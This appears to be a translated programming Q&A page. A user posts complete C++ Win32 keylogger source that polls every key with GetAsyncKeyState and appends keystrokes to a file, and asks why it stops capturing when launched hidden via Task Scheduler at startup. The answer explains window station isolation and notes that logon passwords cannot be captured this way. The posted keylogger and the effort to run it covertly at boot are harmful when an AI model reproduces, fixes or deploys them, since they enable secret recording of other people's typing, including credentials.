用Windows taskschd.msc编程C++Win32非控制台应用程序,无法工作

Program C++ Win32 non-console application with Windows taskschd.msc , not working

本文关键字:应用程序 工作 控制台 taskschd Windows msc 编程 C++Win32      更新时间:2023-10-16

我在Win32中制作了这个c++程序,没有控制台(Win32应用程序)。该程序应该从键盘上获得所有输入,并将其放入文件:"file.txt"中。当我通过visual studio 2012运行该程序时,以及当我运行该程序的.exe文件时,它运行得很好。但问题是,当我试图通过taskschd.msc-windows任务调度程序运行它(.exe文件)时:它不起作用。我遵循了关于如何在taskschd.msc中安排程序的说明,如下所述:http://www.sevenforums.com/tutorials/67503-task-create-run-program-startup-log.html

我是用管理员用户做的。

问题是,当taskschd.msc启动这个程序时,我可以在taskmanager中看到程序已经启动,但由于某种原因,它没有在文件中放入任何字符。我想要的是,即使程序是用taskschd.msc启动的,is也会像我手动激活is一样工作。我甚至试着在任务调度程序中运行一个启动.exe的.bat程序,但它没有帮助,尽管手动激活时可以很好地工作
I、 也没有人知道,不知道如何解决这个问题。这是代码:

  //Define the minimum operating system for the application:
#define _WIN32_WINNT _WIN32_WINNT_WINXP //Windows XP
//Get rid of the annoying min() and max() macros:
#define NOMINMAX
//Include the windows header:
#include <iostream>
#include <fstream>
#include <conio.h>
using namespace std;
#include <Windows.h>
#include <Winuser.h>
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
//if (OUTPUT_FILE == NULL )
    //return -1;
if (key_stroke == VK_BACK)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); 
else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "n"); 
else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) 
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CTRL]");
else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESC]");
else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
 else if(key_stroke == VK_DELETE)
     fprintf(OUTPUT_FILE, "%s", "[DEL]");
else if(key_stroke == VK_INSERT)
    fprintf(OUTPUT_FILE, "%s", "[INS]");
else if(key_stroke == VK_CAPITAL)
    fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]");
else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == VK_BROWSER_BACK)
    fprintf(OUTPUT_FILE, "%s", "[BROWSER_BACK]");
else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}
int wWinMain(HINSTANCE hInst, HINSTANCE prevInst, LPWSTR szCmdLine, int nCmdShow)
{
    while (1)
    {
        for(char i = 8; i <= 300; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
            if(Save (i,"File.txt")==-1)
                return 0;
        }
    }
return 0;
}

我不是这方面的专家,但无论如何,我想您创建的计划任务选择了"无论用户是否登录都运行"选项。这使得任务调度程序可以在单独的Window Station中运行任务,以防止干扰桌面和(在您的情况下)输入设备,如键盘和鼠标。

您可以将以下代码添加到您的程序中,以检查您的程序在哪个窗口站运行:

HWINSTA station = GetProcessWindowStation();
char buffer[1024];
BOOL result = GetUserObjectInformation(station, UOI_NAME, buffer, 1024, NULL);

如果buffer变量的内容不是WinSta0,那么您就倒霉了。

不,您将无法窃取登录时输入的密码。

相关文章: